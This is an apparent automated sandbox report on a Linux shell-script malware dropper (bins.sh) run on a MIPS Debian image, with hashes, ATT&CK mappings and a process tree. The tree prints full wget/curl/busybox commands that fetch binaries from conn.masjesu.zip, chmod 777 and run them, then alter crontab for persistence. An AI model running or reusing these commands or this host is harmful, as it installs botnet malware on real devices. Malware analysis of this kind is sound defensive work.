ce2dcd84c71d76ef91c4e64669729eead724bbdf1d7cefd674347c51ab7db613

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 17:22

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General

Target
bins.sh
Size 10KB
Sample241122-vxjsfszrfr
SHA256 ce2dcd84c71d76ef91c4e64669729eead724bbdf1d7cefd674347c51ab7db613
MD5 03977dc333adcf1bd239088130c5146a
SHA1 786dda0f9a258257c3c8c8c196b0c80525e5c921
SHA512 6ecac3ce1d920fd81213a199987a4a9a636a164c9bbf7c86cba42a80c7d290b356c0afcf43ffaab877a673204b166c43ca7a878f6ee263c34bdec145196d5066
SSDEEP 192:9C6r48xt6ApTzGrokonqyTCaxYxKC6r48oiTzGSkonqyr:/t6ApTzGrwCxiTzG0
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (822) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
828	chmod
860	chmod
968	chmod
976	chmod
812	chmod
820	chmod
852	chmod
868	chmod
836	chmod
844	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1	813	7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
/tmp/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA	821	MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
/tmp/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD	829	eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
/tmp/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m	837	YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
/tmp/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt	845	zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
/tmp/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT	853	WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
/tmp/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To	861	Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
/tmp/aihC944K8Q0TvCpjxSMtRX5smAOk3is675	869	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
/tmp/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0	969	clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
/tmp/pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW	977	pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW

Renames itself 1 IoCs

pid	Process
870	aihC944K8Q0TvCpjxSMtRX5smAOk3is675

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.pYUKk4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/910/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/912/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1025/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/893/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/936/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/927/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/250/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1023/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/23/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/110/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/152/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1036/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/932/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/985/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/333/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/996/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/958/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1012/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/20/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/886/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/10/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/908/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1033/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/362/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/902/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/913/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/922/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1002/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/5/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/887/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/361/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/919/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/73/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/977/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/373/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/904/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/19/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/960/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/995/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1008/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1024/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1031/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/699/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/900/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/915/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/964/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/966/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1001/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1007/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1026/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/17/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/76/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/975/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/78/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/950/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/1006/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/9/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/876/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/710/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675
File opened for reading	/proc/875/cmdline	aihC944K8Q0TvCpjxSMtRX5smAOk3is675

System Network Configuration Discovery 1 TTPs 28 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
811	busybox
816	wget
817	curl
825	curl
835	busybox
707	wget
819	busybox
840	wget
843	busybox
864	wget
728	curl
833	curl
849	curl
856	wget
827	busybox
848	wget
851	busybox
859	busybox
832	wget
841	curl
973	curl
975	busybox
824	wget
857	curl
865	curl
867	busybox
972	wget
980	wget

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m	curl
File opened for modification	/tmp/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt	curl
File opened for modification	/tmp/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To	wget
File opened for modification	/tmp/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0	busybox
File opened for modification	/tmp/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1	curl
File opened for modification	/tmp/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD	busybox
File opened for modification	/tmp/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD	wget
File opened for modification	/tmp/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt	wget
File opened for modification	/tmp/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To	curl
File opened for modification	/tmp/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To	busybox
File opened for modification	/tmp/aihC944K8Q0TvCpjxSMtRX5smAOk3is675	wget
File opened for modification	/tmp/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1	busybox
File opened for modification	/tmp/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA	curl
File opened for modification	/tmp/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m	busybox
File opened for modification	/tmp/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt	busybox
File opened for modification	/tmp/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT	wget
File opened for modification	/tmp/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT	busybox
File opened for modification	/tmp/aihC944K8Q0TvCpjxSMtRX5smAOk3is675	busybox
File opened for modification	/tmp/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA	busybox
File opened for modification	/tmp/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD	curl
File opened for modification	/tmp/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m	wget
File opened for modification	/tmp/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT	curl
File opened for modification	/tmp/aihC944K8Q0TvCpjxSMtRX5smAOk3is675	curl
File opened for modification	/tmp/pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW	busybox
File opened for modification	/tmp/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1	wget
File opened for modification	/tmp/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  ./7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm 7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
  2⤵
  PID:815
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod 777 MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  ./MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
  2⤵
  PID:823
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:824
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  ./eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
  2⤵
  PID:831
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  ./YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
  2⤵
  PID:839
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/chmod
  chmod 777 zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  ./zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm zjmCZFxms1TtoYpgq2wRKTEo09ArgwH6rt
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  ./WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  ./Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  ./aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:869
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:871
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:872
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:873
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:874
- /bin/rm
  rm aihC944K8Q0TvCpjxSMtRX5smAOk3is675
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  2⤵
  - Reads runtime system information
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  2⤵
  - Writes file to tmp directory
  PID:882
- /bin/chmod
  chmod 777 clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  ./clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
  2⤵
  PID:971
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:973
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:975
- /bin/chmod
  chmod 777 pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  ./pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm pUQVTrfgKNmwTkoLdT2eOryg4o4Ue7GSWW
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mH8mvvw5pduExIqh9BHtUXVCVcl0z6Mfhr
  2⤵
  - System Network Configuration Discovery
  PID:980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1

Path /tmp/7rd3LIcaLBfI5TceugAFbNIlbZMhwi5yf1
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA

Path /tmp/MWXLJq2aJGYxfQbk5RXKIhcWudF5qJwtgA
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To

Path /tmp/Pi0hFVjPk145fftaTOg6VgmWn3GoDpZ2To
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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WbPyBOByRmIjujsGoHNEThpAKTMlChnflT

Path /tmp/WbPyBOByRmIjujsGoHNEThpAKTMlChnflT
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m

Path /tmp/YMLTMAnMNefei6FybzVloLS2yL0ndkQu6m
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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aihC944K8Q0TvCpjxSMtRX5smAOk3is675

Path /tmp/aihC944K8Q0TvCpjxSMtRX5smAOk3is675
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0

Path /tmp/clzUaHSZuJeDjsSF3MAw89fET819sW9JZ0
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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eAUtElRrXgU3F4owPENkmI2x53Y08heRUD

Path /tmp/eAUtElRrXgU3F4owPENkmI2x53Y08heRUD
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
